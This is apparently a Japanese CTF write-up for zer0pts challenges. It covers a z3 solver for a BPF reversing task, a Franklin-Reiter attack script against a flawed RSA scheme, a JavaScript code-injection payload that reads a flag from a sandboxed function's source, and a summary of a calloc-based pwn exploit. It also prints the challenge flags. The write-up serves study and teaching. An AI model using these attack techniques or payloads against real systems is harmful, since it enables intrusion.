 0127: 0x15 0x22 0x4c 0x77600ede  if (A == 2002783966) goto 0162 else goto 0204
 0160: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0161: 0x15 0x22 0x2a 0x60ffd7bc  if (A == 1627379644) goto 0196 else goto 0204
 0194: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0195: 0x15 0x07 0x08 0x7fe5bbc4  if (A == 2145762244) goto 0203 else goto 0204

 0113: 0x15 0x14 0x00 0x1f9b8fb4  if (A == 530288564) goto 0134
 0132: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0133: 0x15 0x0c 0x46 0x7e1933ac  if (A == 2115580844) goto 0146 else goto 0204
 0144: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0145: 0x15 0x06 0x3a 0xa7ad8d4e  if (A == 2813168974) goto 0152 else goto 0204
 0150: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0151: 0x15 0x26 0x34 0xbbdaa5e6  if (A == 3151668710) goto 0190 else goto 0204

 0114: 0x15 0x1d 0x00 0xefec86de  if (A == 4025255646) goto 0144
 0142: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0143: 0x15 0x14 0x3c 0xf5efe5f6  if (A == 4126139894) goto 0164 else goto 0204
 0162: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0163: 0x15 0x0c 0x28 0x5f785fd2  if (A == 1601724370) goto 0176 else goto 0204
 0174: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0175: 0x15 0x1b 0x1c 0x9f576dd4  if (A == 2673307092) goto 0203 else goto 0204

 0115: 0x15 0x0e 0x00 0xdf60093a  if (A == 3747612986) goto 0130
 0128: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0129: 0x15 0x1c 0x4a 0xf3b68ece  if (A == 4088827598) goto 0158 else goto 0204
 0156: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0157: 0x15 0x10 0x2e 0x0f01b94c  if (A == 251771212) goto 0174 else goto 0204
 0172: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0173: 0x15 0x06 0x1e 0xe97d7d54  if (A == 3917315412) goto 0180 else goto 0204

 0116: 0x15 0x03 0x00 0xb8af3fbe  if (A == 3098492862) goto 0120
 0118: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0119: 0x15 0x32 0x54 0xf1cf5c2e  if (A == 4056898606) goto 0170 else goto 0204
 0168: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0169: 0x15 0x1e 0x22 0x4d8f1f86  if (A == 1301225350) goto 0200 else goto 0204
 0198: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0199: 0x15 0x03 0x04 0xb9fdbebe  if (A == 3120414398) goto 0203 else goto 0204

 0117: 0x15 0x0e 0x00 0x7f01bbcc  if (A == 2130820044) goto 0132
 0130: 0x60 0x00 0x00 0x00000009  A = mem[9]
 0131: 0x15 0x24 0x48 0x4fe90926  if (A == 1340672294) goto 0168 else goto 0204
 0166: 0x60 0x00 0x00 0x0000000a  A = mem[10]
 0167: 0x15 0x0e 0x24 0xc39dc1ca  if (A == 3281895882) goto 0182 else goto 0204
 0180: 0x60 0x00 0x00 0x0000000b  A = mem[11]
 0181: 0x15 0x15 0x16 0xe97d7d54  if (A == 3917315412) goto 0203 else goto 0204

[(4127179254, 251771212, 3086875838, 2720880308), (1933881070, 1627051272, 3015552726, 1532821474), (4255576062, 3415533530, 665780030, 2174343406), (1670347938, 2130820044, 1340672294, 3281895882), (2720551936, 3602496994, 2130523044, 197094626), (2307981054, 530288564, 2583645294, 4290701286), (2673307092, 3116543486, 3606265306, 666819390), (4139379682, 3064954302, 614968622, 4143147994), (4192373742, 2002783966, 1627379644, 2145762244), (530288564, 2115580844, 2813168974, 3151668710), (4025255646, 4126139894, 1601724370, 2673307092), (3747612986, 4088827598, 251771212, 3917315412), (3098492862, 4056898606, 1301225350, 3120414398), (2130820044, 1340672294, 3281895882, 3917315412)]
14

これを使ってz3で殴ります。

from z3 import *
from Crypto.Util.number import long_to_bytes, bytes_to_long

args = [BitVec(f"a{i}", 32) for i in range(0xe)]

mem = [None]*12

s = Solver()

for i in range(1, 0xf):
    s.add((args[i-1]      ) & 0xff <= 0x7e)
    s.add((args[i-1] >>  8) & 0xff <= 0x7e)
    s.add((args[i-1] >> 16) & 0xff <= 0x7e)
    s.add((args[i-1] >> 24) & 0xff <= 0x7e)

    A = args[i-1]
    mem[0] = A

    A = args[i % 0xe]
    X = mem[0]
    A ^= X
    mem[1] = A

    A = args[(i+1) % 0xe]
    X = mem[1]
    A ^= X
    mem[2] = A

    A = args[(i+2) % 0xe]
    X = mem[2]
    A ^= X
    mem[3] = A
     
    A = mem[0]
    X = mem[1]
    A += X
    X = mem[2]
    A += X
    X = mem[3]
    A += X
    mem[4] = A

    A = mem[0]
    X = mem[1]
    A -= X
    X = mem[2]
    A += X
    X = mem[3]
    A -= X
    mem[5] = A
     
    A = mem[0]
    X = mem[1]
    A += X
    X = mem[2]
    A -= X
    X = mem[3]
    A -= X
    mem[6] = A


    A = mem[0]
    X = mem[1]
    A -= X
    X = mem[2]
    A -= X
    X = mem[3]
    A += X
    mem[7] = A

    A = mem[4]
    X = mem[5]
    A |= X
    mem[8] = A
    A = mem[6]
    X = mem[7]
    A &= X
    X = mem[8]
    A ^= X
    mem[8] = A

    A = mem[5]
    X = mem[6]
    A |= X
    mem[9] = A
    A = mem[7]
    X = mem[4]
    A &= X
    X = mem[9]
    A ^= X
    mem[9] = A

    A = mem[6]
    X = mem[7]
    A |= X
    mem[10] = A
    A = mem[4]
    X = mem[5]
    A &= X
    X = mem[10]
    A ^= X
    mem[10] = A

    A = mem[7]
    X = mem[4]
    A |= X
    mem[11] = A
    A = mem[5]
    X = mem[6]
    A &= X
    X = mem[11]
    A ^= X
    mem[11] = A

    results =[(4127179254, 4126139894, 665780030, 666819390), (1933881070, 2002783966, 1601724370, 1532821474), (4255576062, 3116543486, 3151668710, 4290701286), (1670347938, 4056898606, 2583645294, 197094626), (2720551936, 1627051272, 1627379644, 2720880308), (2307981054, 3415533530, 3281895882, 2174343406), (2673307092, 251771212, 251771212, 2673307092), (4139379682, 3602496994, 3606265306, 4143147994), (4192373742, 4088827598, 3015552726, 3119098870), (530288564, 530288564, 3917315412, 3917315412), (4025255646, 2813168974, 614968622, 1827055294), (3747612986, 1340672294, 1301225350, 3708166042), (3098492862, 3064954302, 3086875838, 3120414398), (2130820044, 2115580844, 2130523044, 2145762244)]
    s.add(Or([And(mem[8] == r[0], mem[9] == r[1], mem[10] == r[2], mem[11] == r[3]) for r in results]))

# print(s)

s.add(args[0] == bytes_to_long(b"0rez"))
s.add(args[1] == bytes_to_long(b"{stp"))

while s.check() == sat:
    m = s.model()
    print(m)
    flag = b""
    for i in range(0xe):
        flag += long_to_bytes(m[args[i]].as_long())[::-1]
        print(flag)

zer0pts{B3rk3l3y_P4ck3t_F1lt3r:Y3t_4n0th3r_4ss3mbly}

ちなみにwhile s.check() == sat:while s.check() == "sat":としてしまって気付くまで3時間ほど溶かしました。

war(sa)mup [crypto/warmup 102pts 95solves]

n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
e = 1337
c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762
from Crypto.Util.number import getStrongPrime, GCD, long_to_bytes
from random import randint
from flag import flag
import os

def pad(m: int, n: int):
  # PKCS#1 v1.5 maybe
  ms = m.to_bytes((m.bit_length() + 7) // 8, "big")
  ns = n.to_bytes((n.bit_length() + 7) // 8, "big")
  assert len(ms) <= len(ns) - 11

  ps = b""
  while len(ps) < len(ns) - len(ms) - 3:
    p = os.urandom(1)
    if p != b"\x00":
      ps += p
  return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big")


while True:
  p = getStrongPrime(512)
  q = getStrongPrime(512)
  n = p * q
  phi = (p-1)*(q-1)
  e = 1337
  if GCD(phi, e) == 1:
    break

m = pad(int.from_bytes(flag, "big"), n)

c1 = pow(m, e, n)
c2 = pow(m // 2, e, n)

print("n =", n)
print("e =", e)
print("c1=", c1)
print("c2=", c2)

mm // 2の暗号文が渡されます。よく考えると、m // 2m >> 1と等価なので上位ビットがほぼ共通してることがわかります。

RSA暗号運用でやってはいけないnのことを参考にすると、Franklin-Reiter Related Message Attackが使えそうです。

検索したらまとめられたリポジトリがあったのでそれを見ると、m1 = a * m2 + bの形にできるとき解読できるらしいです。

bin(ord("{"))'0b1111011'であることから、mの最下位ビットは1になります。

そのため、m1 = m, m2 = m // 2とするとm1 = 2 * m2 + 1になります。

from Crypto.Util.number import long_to_bytes
n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
e = 1337
c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762

# c1 = m^e mod N
# c2 = (m/2)^e mod N = m^e/2^e mod N

# https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Franklin-Reiter/exploit.sage
def gcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()

def franklinreiter(C1, C2, e, N, a, b):
    P.<X> = PolynomialRing(Zmod(N))
    g1 = (a*X + b)^e - C1
    g2 = X^e - C2
    result = -gcd(g1, g2).coefficients()[0]
    return result

m2 = int(franklinreiter(c1, c2, e, n, 2, 1))

print(long_to_bytes(m2 * 2 + 1))

zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}

SageMath組み込みのgcdだとエラー吐いててずっと混乱してたり、c1とc2を逆にしていたり、復号できていてもm2に戻してなかったりで色々と手間取ってしまった問題でした。

終了後に解いた問題

Kantan Calc [web]

vmで実行される'use strict'; (function () { return ${code}; /* ${FLAG} */ })()codeに30文字以内のソースコードを埋め込めるので、それを使ってFLAGを読めという問題です。

また、zer0ptsを含む返り値は弾かれてしまいます。これもbypassする必要があります。

arguments.calleeというオブジェクトで無名関数自身を参照することができますが、strict modeでは使えません。このバイパスをずっと考えてましたが、別にfunction内で完結させる必要ではないことに最後気付きました。

js 'use strict'; (function () { return });(function a(){return a.toString()[任意]; /* ${FLAG} */ })()

で一文字ずつフラグを読めますが文字数オーバーです。コードゴルフしていきましょう。

カンマ演算子を使えばセミコロンで区切る手間が無くなります。

'use strict'; (function () { return },function a(){return a.toString()[任意]; /* ${FLAG} */ })()

jsでは違う型同士で加算をするとだいたい文字列になるので、toStringが節約できます。

'use strict'; (function () { return },function a(){return(a+1)[任意]; /* ${FLAG} */ })()

これで数値含め30文字に収まったので解けた!と思いWriteupを見に行きました。

が、よく考えたら数値は二桁分必要でした...もう一文字短縮する必要がありました。

既にWriteupを見てしまったのでWriteupの解法を使います。[...string]が文字の配列になることを利用して制限をbypassします。

'use strict'; (function () { return },function a(){return [...a+1]; /* ${FLAG} */ })()

zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}

OneShot [pwn] (追記)

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &n);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

exploit codeだけ貼ります。unsigned/signedの差を突いてcallocにクソデカ数値を渡せばNULLを返すのでなんやかんやAAWできて、後は頑張ればシェルが取れます。

gist.github.com

zer0pts{th1s_1s_why_y0u_sh0uld_ch3ck_r3turn_v4lu3_0f_malloc}

感想

ストレスがほとんどなく、問題も面白くてとても楽しめました。

reversingニ問で「これで何故動くのか」というのを追いすぎて時間を潰してしまったのが反省点です。

動作は適当に推測しながら怪しい部分だけ見るのが良いのは理解してるのですが、難しいですね...

また、他のPwnも面白そうでしたがsolve数が少なく後回しにしてしまったので後で復習したいですね。